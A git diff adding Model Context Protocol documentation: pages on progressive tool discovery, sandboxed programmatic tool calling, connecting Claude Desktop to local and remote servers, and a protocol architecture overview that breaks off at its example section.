+| **Cache tool definitions** | Once fetched from a server, memoize the definition host-side so re-injecting it later doesn't need another `tools/list` round trip. This is separate from what's currently in the model's context. |
+| **Refresh on `list_changed`** | Re-index the search catalog when a server sends `notifications/tools/list_changed`. |
+| **Group tools by server** | Present tools organized by their source server so the model can reason about related capabilities. |
+
+### Interaction with Prompt Caching
+
+Most providers cache the prompt prefix, including the `tools` array. Adding or removing tool
+definitions mid-conversation invalidates that cache, and the resulting miss can cost more tokens
+than the definitions you removed. To preserve caching:
+
+* Append newly discovered definitions after the cache breakpoint rather than re-sorting the
+ `tools` array, or route every call through a single stable `call_tool({name, args})` meta-tool
+ so the array never changes.
+* Treat server disconnection as a conversation-boundary operation rather than a per-turn one.
+* Consult your provider's caching documentation alongside the tool-search links above.
+
+## Programmatic Tool Calling / Code Mode
+
+With direct tool calling, every tool invocation is a round trip: the model generates a tool call, the client executes it, and the full result flows back into the model's context. When a task requires chaining multiple tools (read a document, transform it, write it somewhere else), each intermediate result passes through the model, consuming tokens and adding latency even when it has nothing to do with them.
+
+Programmatic tool calling (sometimes called "code mode") provides a way for clients to **compose tool calls** effectively. Instead of calling tools directly, the model writes code that calls tools. The code executes in a sandboxed environment, and only the final result returns to the model.
+
+Programmatic tool calling is powerful and allows for more efficient use of MCP tools and resources, but requires
+clients to implement a sandbox environment.
+
+
+
+### How It Works
+
+The host converts MCP tool schemas into a typed API available inside a sandbox. When the model needs tools, it writes a script and executes it.
+
+**Step 1: Generate a programmatic API from MCP schemas.** The host reads each server's tool definitions and produces typed functions based on each tool's arguments and `outputSchema`:
+
+```typescript theme={null}
+// Auto-generated from the Logging MCP server's tool schema
+interface LogEntry {
+ timestamp: string;
+ message: string;
+ level: string;
+}
+
+function logging_getLogs(input: {
+ level: "error" | "warn" | "info";
+ since: number;
+}): Promise<{ entries: LogEntry[] }> {
+ return mcp.callTool<{ entries: LogEntry[] }>("logging_getLogs", input);
+}
+
+// Auto-generated from the Ticketing MCP server's tool schema
+function ticketing_createIssue(input: {
+ title: string;
+ body?: string;
+ priority: "low" | "medium" | "high";
+}): Promise<{ issueId: string }> {
+ return mcp.callTool<{ issueId: string }>("ticketing_createIssue", input);
+}
+```
+
+MCP Servers can provide an optional [`outputSchema`](/specification/2025-06-18/server/tools#output-schema) for each tool. When an output schema is present, the host can produce precise return types (like `LogEntry` above).
+
+When an output schema is absent, prefer the simple path:
+
+* **Use a generic type and move on.** Accept `any` or `string` and handle the unstructured output downstream. The real fix is for server authors to provide `outputSchema`.
+* **Extract a typed result using a fast model**, for single-shot calls outside loops. Expose a host-brokered `extract(value, ExpectedType)` helper through the same stub-interception path as MCP tool calls so the sandbox itself never opens a network connection. The helper routes to a small model (for example, Claude Haiku or Gemini Flash) to coerce the value into `ExpectedType`. This adds per-call latency and can hallucinate or drop fields, so validate the result against `ExpectedType` before use.
+
+**Step 2: The model writes code against these APIs.** Rather than making separate tool calls with full results flowing through context between them, the model writes a single script. Consider a task like "find all error logs from the past hour and file a ticket for each unique error." With direct tool calling, thousands of log entries would flow through the model's context. With code, the model filters in the sandbox:
+
+```typescript theme={null}
+// Model-generated code, executes in sandbox
+const logs = await logging_getLogs({
+ level: "error",
+ since: Date.now() - 3600000,
+});
+
+// Filter and deduplicate inside the sandbox, not in the model's context
+const uniqueErrors = new Map();
+for (const log of logs.entries) {
+ if (!uniqueErrors.has(log.message)) {
+ uniqueErrors.set(log.message, log);
+ }
+}
+
+for (const [message, log] of uniqueErrors) {
+ await ticketing_createIssue({
+ title: `Error: ${message}`,
+ body: `First seen: ${log.timestamp}\nOccurrences: ${
+ logs.entries.filter((l) => l.message === message).length
+ }`,
+ priority: "high",
+ });
+}
+
+console.log(
+ `Filed ${uniqueErrors.size} tickets from ${logs.entries.length} error logs`,
+);
+```
+
+**Step 3: The sandbox executes the code.** Function calls inside the sandbox are intercepted and routed back to the appropriate MCP server through the host broker. The log data and ticket creation flow directly between servers without ever entering the model's context. Only the `console.log` output, a single summary line, returns to the model.
+
+### Choosing a Sandbox
+
+The right sandbox depends on the language you want the model to write, your host application's language, and how much isolation you need. The table lists example runtimes rather than endorsements; evaluate maturity for your use case:
+
+| Sandboxed language | Runtime / Library | Host language | Approach |
+| ------------------ | ------------------------------------------------------------- | ----------------- | ----------------------------------------------------------------------------------------------- |
+| **JavaScript** | [Deno](https://github.com/denoland/deno), `isolated-vm` | Rust / Node / CLI | V8-based runtimes with fine-grained permissions. Can disable all permissions for full lockdown. |
+| **Python** | [Monty](https://github.com/pydantic/monty) *(experimental)* | Rust | Minimal Python interpreter built for AI use cases. No I/O by default. |
+| **TypeScript** | [pctx](https://github.com/portofcontext/pctx) *(early-stage)* | Python / Rust | Incorporates code mode concepts as a library, with low-level Rust support. |
+| **Any (via Wasm)** | [Wasmtime](https://github.com/bytecodealliance/wasmtime) | Rust / C / Go | Compile any language to Wasm and run it with capability-based security. |
+
+Regardless of sandbox, the integration pattern is the same: the host injects function stubs, intercepts calls over an in-process or stdio channel (so network permissions can stay fully denied), and dispatches them as `tools/call` requests to MCP servers.
+
+### Execution Architecture
+
+The implementation has three components:
+
+```mermaid theme={null}
+flowchart LR
+ subgraph Host["MCP Host"]
+ A[LLM] -->|writes code| B[Sandbox]
+ B -->|function call| C[MCP Client]
+ C -->|return value| B
+ B -->|console output| A
+ end
+ C -->|tool call| D[MCP Server A]
+ C -->|tool call| E[MCP Server B]
+ D -->|result| C
+ E -->|result| C
+```
+
+**The sandbox** runs model-generated code in an isolated environment with no direct network access. Its only interface to the outside world is through the generated function stubs, which route calls back to the host.
+
+**The host** acts as a broker. It receives function calls from the sandbox, maps them to the correct MCP server, executes the tool call, and returns the result to the sandbox. Authorization tokens and credentials are held by the host and never exposed to the generated code.
+
+**The model** sees only what the sandbox returns, typically the output of `console.log` statements or a final return value. This gives the model (and the client developer) precise control over what enters the context window.
+
+### Security Considerations
+
+Programmatic tool calling introduces a code execution surface that requires careful sandboxing:
+
+* **Per-call authorization**: The broker is still the MCP host for spec purposes. Apply the same human-in-the-loop confirmation policy to sandbox-originated calls that you apply to direct calls (see [Tools: Security](/specification/2025-06-18/server/tools#security-considerations)). Approving the script does not grant blanket approval for every tool call it makes at runtime; hosts may grant categorical approval (for example, "allow `ticketing_createIssue` for this script run") rather than prompting per iteration, but the broker must still evaluate each call against that grant.
+* **Cross-server data flow**: Tool results from one server are untrusted input to another. The broker should apply the same input-review policy to brokered calls as to direct ones; output truncation alone does not prevent exfiltration.
+* **Network isolation**: The sandbox should have no direct network access. All external communication flows through the host broker, which enforces authorization and access control.
+* **No credential exposure**: API keys and tokens are held by the host. The generated code calls typed functions; the host adds authentication when forwarding to servers.
+* **Resource limits**: Set timeouts and memory limits on sandbox execution to prevent runaway scripts.
+* **Output filtering**: Validate and truncate sandbox console output before feeding it back to the model.
+
+### Error Handling
+
+MCP tool errors arrive as a successful response with
+[`isError: true`](/specification/2025-06-18/server/tools#error-handling) rather than a transport
+failure. Generated wrappers should convert this into a thrown exception so model-authored code
+can use `try`/`catch`. If an uncaught error terminates the script, surface it as the script's
+result so the model can self-correct; the model is responsible for reporting any partial side
+effects already committed.
+
+## Combining Both Patterns
+
+Progressive discovery and programmatic tool calling work well together. The model uses discovery tools to identify which tools it needs, loads their schemas, and then writes a single script that calls multiple tools in one execution pass. This combination minimizes both the token cost of tool definitions *and* the token cost of tool results, keeping the model's context focused on reasoning rather than passing data through it.
diff --git a/content/mcp/docs/2025-06-18/develop/connect-local-servers.md b/content/mcp/docs/2025-06-18/develop/connect-local-servers.md
new file mode 100644
index 000000000..020caf103
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/develop/connect-local-servers.md
@@ -0,0 +1,287 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Connect to local MCP servers
+
+> Learn how to extend Claude Desktop with local MCP servers to enable file system access and other powerful integrations
+
+Model Context Protocol (MCP) servers extend AI applications' capabilities by providing secure, controlled access to local resources and tools. Many clients support MCP, enabling diverse integration possibilities across different platforms and applications.
+
+This guide demonstrates how to connect to local MCP servers using Claude Desktop as an example, one of the many clients that support MCP. While we focus on Claude Desktop's implementation, the concepts apply broadly to other MCP-compatible clients. By the end of this tutorial, Claude will be able to interact with files on your computer, create new documents, organize folders, and search through your file system—all with your explicit permission for each action.
+
+
+
+
+
+## Prerequisites
+
+Before starting this tutorial, ensure you have the following installed on your system:
+
+### Claude Desktop
+
+Download and install [Claude Desktop](https://claude.ai/download) for your operating system. Claude Desktop is available for macOS and Windows.
+
+If you already have Claude Desktop installed, verify you're running the latest version by clicking the Claude menu and selecting "Check for Updates..."
+
+### Node.js
+
+The Filesystem Server and many other MCP servers require Node.js to run. Verify your Node.js installation by opening a terminal or command prompt and running:
+
+```bash theme={null}
+node --version
+```
+
+If Node.js is not installed, download it from [nodejs.org](https://nodejs.org/). We recommend the LTS (Long Term Support) version for stability.
+
+## Understanding MCP Servers
+
+MCP servers are programs that run on your computer and provide specific capabilities to Claude Desktop through a standardized protocol. Each server exposes tools that Claude can use to perform actions, with your approval. The Filesystem Server we'll install provides tools for:
+
+* Reading file contents and directory structures
+* Creating new files and directories
+* Moving and renaming files
+* Searching for files by name or content
+
+All actions require your explicit approval before execution, ensuring you maintain full control over what Claude can access and modify.
+
+## Installing the Filesystem Server
+
+The process involves configuring Claude Desktop to automatically start the Filesystem Server whenever you launch the application. This configuration is done through a JSON file that tells Claude Desktop which servers to run and how to connect to them.
+
+
+
+ Start by accessing the Claude Desktop settings. Click on the Claude menu in your system's menu bar (not the settings within the Claude window itself) and select "Settings..."
+
+ On macOS, this appears in the top menu bar:
+
+
+
+
+
+ This opens the Claude Desktop configuration window, which is separate from your Claude account settings.
+
+
+
+ In the Settings window, navigate to the "Developer" tab in the left sidebar. This section contains options for configuring MCP servers and other developer features.
+
+ Click the "Edit Config" button to open the configuration file:
+
+
+
+
+
+ This action creates a new configuration file if one doesn't exist, or opens your existing configuration. The file is located at:
+
+ * **macOS**: `~/Library/Application Support/Claude/claude_desktop_config.json`
+ * **Windows**: `%APPDATA%\Claude\claude_desktop_config.json`
+
+
+
+ Replace the contents of the configuration file with the following JSON structure. This configuration tells Claude Desktop to start the Filesystem Server with access to specific directories:
+
+
+ ```json macOS theme={null}
+ {
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "/Users/username/Desktop",
+ "/Users/username/Downloads"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "C:\\Users\\username\\Desktop",
+ "C:\\Users\\username\\Downloads"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ Replace `username` with your actual computer username. The paths listed in the `args` array specify which directories the Filesystem Server can access. You can modify these paths or add additional directories as needed.
+
+
+ **Understanding the Configuration**
+
+ * `"filesystem"`: A friendly name for the server that appears in Claude Desktop
+ * `"command": "npx"`: Uses Node.js's npx tool to run the server
+ * `"-y"`: Automatically confirms the installation of the server package
+ * `"@modelcontextprotocol/server-filesystem"`: The package name of the Filesystem Server
+ * The remaining arguments: Directories the server is allowed to access
+
+
+
+ **Security Consideration**
+
+ Only grant access to directories you're comfortable with Claude reading and modifying. The server runs with your user account permissions, so it can perform any file operations you can perform manually.
+
+
+
+
+ After saving the configuration file, completely quit Claude Desktop and restart it. The application needs to restart to load the new configuration and start the MCP server.
+
+ Upon successful restart, click the "Add files, connectors and more" indicator in the bottom-left corner of the conversation input box:
+
+
+
+
+
+ Click on this indicator, then scroll over "Connectors" and click "Manage connectors". Select "filesystem" from the connector list to view the the Filesystem Server's available tools:
+
+
+
+
+
+ If the Filesystem Server doesn't connect, refer to the [Troubleshooting](#troubleshooting) section for debugging steps.
+
+
+
+## Using the Filesystem Server
+
+With the Filesystem Server connected, Claude can now interact with your file system. Try these example requests to explore the capabilities:
+
+### File Management Examples
+
+* **"Can you write a poem and save it to my desktop?"** - Claude will compose a poem and create a new text file on your desktop
+* **"What work-related files are in my downloads folder?"** - Claude will scan your downloads and identify work-related documents
+* **"Please organize all images on my desktop into a new folder called 'Images'"** - Claude will create a folder and move image files into it
+
+### How Approval Works
+
+Before executing any file system operation, Claude will request your approval. This ensures you maintain control over all actions:
+
+
+
+
+
+Review each request carefully before approving. You can always deny a request if you're not comfortable with the proposed action.
+
+## Troubleshooting
+
+If you encounter issues setting up or using the Filesystem Server, these solutions address common problems:
+
+
+
+ 1. Restart Claude Desktop completely
+ 2. Check your `claude_desktop_config.json` file syntax
+ 3. Make sure the file paths included in `claude_desktop_config.json` are valid and that they are absolute and not relative
+ 4. Look at [logs](#getting-logs-from-claude-for-desktop) to see why the server is not connecting
+ 5. In your command line, try manually running the server (replacing `username` as you did in `claude_desktop_config.json`) to see if you get any errors:
+
+
+ ```bash macOS/Linux theme={null}
+ npx -y @modelcontextprotocol/server-filesystem /Users/username/Desktop /Users/username/Downloads
+ ```
+
+ ```powershell Windows theme={null}
+ npx -y @modelcontextprotocol/server-filesystem C:\Users\username\Desktop C:\Users\username\Downloads
+ ```
+
+
+
+
+ Claude.app logging related to MCP is written to log files in:
+
+ * macOS: `~/Library/Logs/Claude`
+
+ * Windows: `%APPDATA%\Claude\logs`
+
+ * `mcp.log` will contain general logging about MCP connections and connection failures.
+
+ * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server.
+
+ You can run the following command to list recent logs and follow along with any new ones (on Windows, it will only show recent logs):
+
+
+ ```bash macOS/Linux theme={null}
+ tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ ```powershell Windows theme={null}
+ type "%APPDATA%\Claude\logs\mcp*.log"
+ ```
+
+
+
+
+ If Claude attempts to use the tools but they fail:
+
+ 1. Check Claude's logs for errors
+ 2. Verify your server builds and runs without errors
+ 3. Try restarting Claude Desktop
+
+
+
+ Please refer to our [debugging guide](/docs/2025-06-18/tools/debugging) for better debugging tools and more detailed guidance.
+
+
+
+ If your configured server fails to load, and you see within its logs an error referring to `${APPDATA}` within a path, you may need to add the expanded value of `%APPDATA%` to your `env` key in `claude_desktop_config.json`:
+
+ ```json theme={null}
+ {
+ "brave-search": {
+ "command": "npx",
+ "args": ["-y", "@modelcontextprotocol/server-brave-search"],
+ "env": {
+ "APPDATA": "C:\\Users\\user\\AppData\\Roaming\\",
+ "BRAVE_API_KEY": "..."
+ }
+ }
+ }
+ ```
+
+ With this change in place, launch Claude Desktop once again.
+
+
+ **npm should be installed globally**
+
+ The `npx` command may continue to fail if you have not installed npm globally. If npm is already installed globally, you will find `%APPDATA%\npm` exists on your system. If not, you can install npm globally by running the following command:
+
+ ```bash theme={null}
+ npm install -g npm
+ ```
+
+
+
+
+## Next Steps
+
+Now that you've successfully connected Claude Desktop to a local MCP server, explore these options to expand your setup:
+
+
+
+ Browse our collection of official and community-created MCP servers for
+ additional capabilities
+
+
+
+ Create custom MCP servers tailored to your specific workflows and
+ integrations
+
+
+
+ Learn how to connect Claude to remote MCP servers for cloud-based tools and
+ services
+
+
+
+ Dive deeper into how MCP works and its architecture
+
+
diff --git a/content/mcp/docs/2025-06-18/develop/connect-remote-servers.md b/content/mcp/docs/2025-06-18/develop/connect-remote-servers.md
new file mode 100644
index 000000000..d6253fbc7
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/develop/connect-remote-servers.md
@@ -0,0 +1,122 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Connect to remote MCP Servers
+
+> Learn how to connect Claude to remote MCP servers and extend its capabilities with internet-hosted tools and data sources
+
+Remote MCP servers extend AI applications' capabilities beyond your local environment, providing access to internet-hosted tools, services, and data sources. By connecting to remote MCP servers, you transform AI assistants from helpful tools into informed teammates capable of handling complex, multi-step projects with real-time access to external resources.
+
+Many clients now support remote MCP servers, enabling a wide range of integration possibilities. This guide demonstrates how to connect to remote MCP servers using [Claude](https://claude.ai/) as an example, one of the many clients that support MCP. While we focus on Claude's implementation through Custom Connectors, the concepts apply broadly to other MCP-compatible clients.
+
+## Understanding Remote MCP Servers
+
+Remote MCP servers function similarly to local MCP servers but are hosted on the internet rather than your local machine. They expose tools, prompts, and resources that Claude can use to perform tasks on your behalf. These servers can integrate with various services such as project management tools, documentation systems, code repositories, and any other API-enabled service.
+
+The key advantage of remote MCP servers is their accessibility. Unlike local servers that require installation and configuration on each device, remote servers are available from any MCP client with an internet connection. This makes them ideal for web-based AI applications, integrations that emphasize ease of use, and services that require server-side processing or authentication.
+
+## What are Custom Connectors?
+
+Custom Connectors serve as the bridge between Claude and remote MCP servers. They allow you to connect Claude directly to the tools and data sources that matter most to your workflows, enabling Claude to operate within your favorite software and draw insights from the complete context of your external tools.
+
+With Custom Connectors, you can:
+
+* [Connect Claude to existing remote MCP servers](https://support.anthropic.com/en/articles/11175166-getting-started-with-custom-connectors-using-remote-mcp) provided by third-party developers
+* [Build your own remote MCP servers to connect with any tool](https://support.anthropic.com/en/articles/11503834-building-custom-connectors-via-remote-mcp-servers)
+
+## Connecting to a Remote MCP Server
+
+The process of connecting Claude to a remote MCP server involves adding a Custom Connector through the [Claude interface](https://claude.ai/). This establishes a secure connection between Claude and your chosen remote server.
+
+
+
+ Open Claude in your browser and navigate to the settings page. You can access this by clicking on your profile icon and selecting "Settings" from the dropdown menu. Once in settings, locate and click on the "Connectors" section in the sidebar.
+
+ This will display your currently configured connectors and provide options to add new ones.
+
+
+
+ In the Connectors section, scroll to the bottom where you'll find the "Add custom connector" button. Click this button to begin the connection process.
+
+
+
+
+
+ A dialog will appear prompting you to enter the remote MCP server URL. This URL should be provided by the server developer or administrator. Enter the complete URL, ensuring it includes the proper protocol (https\://) and any necessary path components.
+
+
+
+
+
+ After entering the URL, click "Add" to proceed with the connection.
+
+
+
+ Most remote MCP servers require authentication to ensure secure access to their resources. The authentication process varies depending on the server implementation but commonly involves OAuth, API keys, or username/password combinations.
+
+
+
+
+
+ Follow the authentication prompts provided by the server. This may redirect you to a third-party authentication provider or display a form within Claude. Once authentication is complete, Claude will establish a secure connection to the remote server.
+
+
+
+ After successful connection, the remote server's resources and prompts become available in your Claude conversations. You can access these by clicking the paperclip icon in the message input area, which opens the attachment menu.
+
+
+
+
+
+ The menu displays all available resources and prompts from your connected servers. Select the items you want to include in your conversation. These resources provide Claude with context and information from your external tools.
+
+
+
+
+
+
+
+ Remote MCP servers often expose multiple tools with varying capabilities. You can control which tools Claude is allowed to use by configuring permissions in the connector settings. This ensures Claude only performs actions you've explicitly authorized.
+
+
+
+
+
+ Navigate back to the Connectors settings and click on your connected server. Here you can enable or disable specific tools, set usage limits, and configure other security parameters according to your needs.
+
+
+
+## Best Practices for Using Remote MCP Servers
+
+When working with remote MCP servers, consider these recommendations to ensure a secure and efficient experience:
+
+**Security considerations**: Always verify the authenticity of remote MCP servers before connecting. Only connect to servers from trusted sources, and review the permissions requested during authentication. Be cautious about granting access to sensitive data or systems.
+
+**Managing multiple connectors**: You can connect to multiple remote MCP servers simultaneously. Organize your connectors by purpose or project to maintain clarity. Regularly review and remove connectors you no longer use to keep your workspace organized and secure.
+
+## Next Steps
+
+Now that you've connected Claude to a remote MCP server, you can explore its capabilities in your conversations. Try using the connected tools to automate tasks, access external data, or integrate with your existing workflows.
+
+
+
+ Create custom remote MCP servers to integrate with proprietary tools and
+ services
+
+
+
+ Browse our collection of official and community-created MCP servers
+
+
+
+ Learn how to connect Claude Desktop to local MCP servers for direct system
+ access
+
+
+
+ Dive deeper into how MCP works and its architecture
+
+
+
+Remote MCP servers unlock powerful possibilities for extending Claude's capabilities. As you become familiar with these integrations, you'll discover new ways to streamline your workflows and accomplish complex tasks more efficiently.
diff --git a/content/mcp/docs/2025-06-18/getting-started/intro.md b/content/mcp/docs/2025-06-18/getting-started/intro.md
new file mode 100644
index 000000000..306574b3a
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/getting-started/intro.md
@@ -0,0 +1,58 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# What is the Model Context Protocol (MCP)?
+
+MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems.
+
+Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks.
+
+Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems.
+
+
+
+
+
+## What can MCP enable?
+
+* Agents can access your Google Calendar and Notion, acting as a more personalized AI assistant.
+* Claude Code can generate an entire web app using a Figma design.
+* Enterprise chatbots can connect to multiple databases across an organization, empowering users to analyze data using chat.
+* AI models can create 3D designs on Blender and print them out using a 3D printer.
+
+## Why does MCP matter?
+
+Depending on where you sit in the ecosystem, MCP can have a range of benefits.
+
+* **Developers**: MCP reduces development time and complexity when building, or integrating with, an AI application or agent.
+* **AI applications or agents**: MCP provides access to an ecosystem of data sources, tools and apps which will enhance capabilities and improve the end-user experience.
+* **End-users**: MCP results in more capable AI applications or agents which can access your data and take actions on your behalf when necessary.
+
+## Broad ecosystem support
+
+MCP is an open protocol supported across a wide range of clients and servers. AI assistants like [Claude](https://claude.com/docs/connectors/building) and [ChatGPT](https://developers.openai.com/api/docs/mcp/), development tools like [Visual Studio Code](https://code.visualstudio.com/docs/copilot/chat/mcp-servers), [Cursor](https://cursor.com/docs/context/mcp), [MCPJam](https://docs.mcpjam.com/getting-started), and many others all support MCP — making it easy to build once and integrate everywhere.
+
+## Start Building
+
+
+
+ Create MCP servers to expose your data and tools
+
+
+
+ Develop applications that connect to MCP servers
+
+
+
+ Build interactive apps that run inside AI clients
+
+
+
+## Learn more
+
+
+
+ Learn the core concepts and architecture of MCP
+
+
diff --git a/content/mcp/docs/2025-06-18/learn/architecture.md b/content/mcp/docs/2025-06-18/learn/architecture.md
new file mode 100644
index 000000000..6fc674458
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/learn/architecture.md
@@ -0,0 +1,464 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Architecture overview
+
+This overview of the Model Context Protocol (MCP) discusses its [scope](#scope) and [core concepts](#concepts-of-mcp), and provides an [example](#example) demonstrating each core concept.
+
+Because MCP SDKs abstract away many concerns, most developers will likely find the [data layer protocol](#data-layer-protocol) section to be the most useful. It discusses how MCP servers can provide context to an AI application.
+
+For specific implementation details, please refer to the documentation for your [language-specific SDK](/docs/2025-06-18/sdk).
+
+## Scope
+
+The Model Context Protocol includes the following projects:
+
+* [MCP Specification](https://modelcontextprotocol.io/specification/latest): A specification of MCP that outlines the implementation requirements for clients and servers.
+* [MCP SDKs](/docs/2025-06-18/sdk): SDKs for different programming languages that implement MCP.
+* **MCP Development Tools**: Tools for developing MCP servers and clients, including the [MCP Inspector](https://github.com/modelcontextprotocol/inspector)
+* [MCP Reference Server Implementations](https://github.com/modelcontextprotocol/servers): Reference implementations of MCP servers.
+
+
+ MCP focuses solely on the protocol for context exchange—it does not dictate
+ how AI applications use LLMs or manage the provided context.
+
+
+## Concepts of MCP
+
+### Participants
+
+MCP follows a client-server architecture where an MCP host — an AI application like [Claude Code](https://www.anthropic.com/claude-code) or [Claude Desktop](https://www.claude.ai/download) — establishes connections to one or more MCP servers. The MCP host accomplishes this by creating one MCP client for each MCP server. Each MCP client maintains a dedicated connection with its corresponding MCP server.
+
+Local MCP servers that use the STDIO transport typically serve a single MCP client, whereas remote MCP servers that use the Streamable HTTP transport will typically serve many MCP clients.
+
+The key participants in the MCP architecture are:
+
+* **MCP Host**: The AI application that coordinates and manages one or multiple MCP clients
+* **MCP Client**: A component that maintains a connection to an MCP server and obtains context from an MCP server for the MCP host to use
+* **MCP Server**: A program that provides context to MCP clients
+
+**For example**: Visual Studio Code acts as an MCP host. When Visual Studio Code establishes a connection to an MCP server, such as the [Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/), the Visual Studio Code runtime instantiates an MCP client object that maintains the connection to the Sentry MCP server.
+When Visual Studio Code subsequently connects to another MCP server, such as the [local filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem), the Visual Studio Code runtime instantiates an additional MCP client object to maintain this connection.
+
+```mermaid theme={null}
+graph TB
+ subgraph "MCP Host (AI Application)"
+ Client1["MCP Client 1"]
+ Client2["MCP Client 2"]
+ Client3["MCP Client 3"]
+ Client4["MCP Client 4"]
+ end
+
+ ServerA["MCP Server A - Local (e.g. Filesystem)"]
+ ServerB["MCP Server B - Local (e.g. Database)"]
+ ServerC["MCP Server C - Remote (e.g. Sentry)"]
+
+ Client1 ---|"Dedicated connection"| ServerA
+ Client2 ---|"Dedicated connection"| ServerB
+ Client3 ---|"Dedicated connection"| ServerC
+ Client4 ---|"Dedicated connection"| ServerC
+```
+
+Note that **MCP server** refers to the program that serves context data, regardless of
+where it runs. MCP servers can execute locally or remotely. For example, when
+Claude Desktop launches the [filesystem
+server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem),
+the server runs locally on the same machine because it uses the STDIO
+transport. This is commonly referred to as a "local" MCP server. The official
+[Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/) runs on the
+Sentry platform, and uses the Streamable HTTP transport. This is commonly
+referred to as a "remote" MCP server.
+
+### Layers
+
+MCP consists of two layers:
+
+* **Data layer**: Defines the JSON-RPC based protocol for client-server communication, including lifecycle management, and core primitives, such as tools, resources, prompts and notifications.
+* **Transport layer**: Defines the communication mechanisms and channels that enable data exchange between clients and servers, including transport-specific connection establishment, message framing, and authorization.
+
+Conceptually the data layer is the inner layer, while the transport layer is the outer layer.
+
+#### Data layer
+
+The data layer implements a [JSON-RPC 2.0](https://www.jsonrpc.org/) based exchange protocol that defines the message structure and semantics.
+This layer includes:
+
+* **Lifecycle management**: Handles connection initialization, capability negotiation, and connection termination between clients and servers
+* **Server features**: Enables servers to provide core functionality including tools for AI actions, resources for context data, and prompts for interaction templates from and to the client
+* **Client features**: Enables servers to ask the client to sample from the host LLM, elicit input from the user, and log messages to the client
+* **Utility features**: Supports additional capabilities like notifications for real-time updates and progress tracking for long-running operations
+
+#### Transport layer
+
+The transport layer manages communication channels and authentication between clients and servers. It handles connection establishment, message framing, and secure communication between MCP participants.
+
+MCP supports two transport mechanisms:
+
+* **Stdio transport**: Uses standard input/output streams for direct process communication between local processes on the same machine, providing optimal performance with no network overhead.
+* **Streamable HTTP transport**: Uses HTTP POST for client-to-server messages with optional Server-Sent Events for streaming capabilities. This transport enables remote server communication and supports standard HTTP authentication methods including bearer tokens, API keys, and custom headers. MCP recommends using OAuth to obtain authentication tokens.
+
+The transport layer abstracts communication details from the protocol layer, enabling the same JSON-RPC 2.0 message format across all transport mechanisms.
+
+### Data Layer Protocol
+
+A core part of MCP is defining the schema and semantics between MCP clients and MCP servers. Developers will likely find the data layer — in particular, the set of [primitives](#primitives) — to be the most interesting part of MCP. It is the part of MCP that defines the ways developers can share context from MCP servers to MCP clients.
+
+MCP uses [JSON-RPC 2.0](https://www.jsonrpc.org/) as its underlying RPC protocol. Client and servers send requests to each other and respond accordingly. Notifications can be used when no response is required.
+
+#### Lifecycle management
+
+MCP is a stateful protocol that requires lifecycle management. The purpose of lifecycle management is to negotiate the capabilities that both client and server support. Detailed information can be found in the [specification](/specification/2025-06-18/basic/lifecycle), and the [example](#example) showcases the initialization sequence.
+
+#### Primitives
+
+MCP primitives are the most important concept within MCP. They define what clients and servers can offer each other. These primitives specify the types of contextual information that can be shared with AI applications and the range of actions that can be performed.
+
+MCP defines three core primitives that *servers* can expose:
+
+* **Tools**: Executable functions that AI applications can invoke to perform actions (e.g., file operations, API calls, database queries)
+* **Resources**: Data sources that provide contextual information to AI applications (e.g., file contents, database records, API responses)
+* **Prompts**: Reusable templates that help structure interactions with language models (e.g., system prompts, few-shot examples)
+
+Each primitive type has associated methods for discovery (`*/list`), retrieval (`*/get`), and in some cases, execution (`tools/call`).
+MCP clients will use the `*/list` methods to discover available primitives. For example, a client can first list all available tools (`tools/list`) and then execute them. This design allows listings to be dynamic.
+
+As a concrete example, consider an MCP server that provides context about a database. It can expose tools for querying the database, a resource that contains the schema of the database, and a prompt that includes few-shot examples for interacting with the tools.
+
+For more details about server primitives see [server concepts](./server-concepts).
+
+MCP also defines primitives that *clients* can expose. These primitives allow MCP server authors to build richer interactions.
+
+* **Sampling**: Allows servers to request language model completions from the client's AI application. This is useful when server authors want access to a language model, but want to stay model-independent and not include a language model SDK in their MCP server. They can use the `sampling/createMessage` method to request a language model completion from the client's AI application.
+* **Elicitation**: Allows servers to request additional information from users. This is useful when server authors want to get more information from the user, or ask for confirmation of an action. They can use the `elicitation/create` method to request additional information from the user.
+* **Logging**: Enables servers to send log messages to clients for debugging and monitoring purposes.
+
+For more details about client primitives see [client concepts](./client-concepts).
+
+Besides server and client primitives, the protocol offers cross-cutting utility primitives that augment how requests are executed:
+
+* **Tasks (Experimental)**: Durable execution wrappers that enable deferred result retrieval and status tracking for MCP requests (e.g., expensive computations, workflow automation, batch processing, multi-step operations)
+
+#### Notifications
+
+The protocol supports real-time notifications to enable dynamic updates between servers and clients. For example, when a server's available tools change—such as when new functionality becomes available or existing tools are modified—the server can send tool update notifications to inform connected clients about these changes. Notifications are sent as JSON-RPC 2.0 notification messages (without expecting a response) and enable MCP servers to provide real-time updates to connected clients.
+
+## Example
+
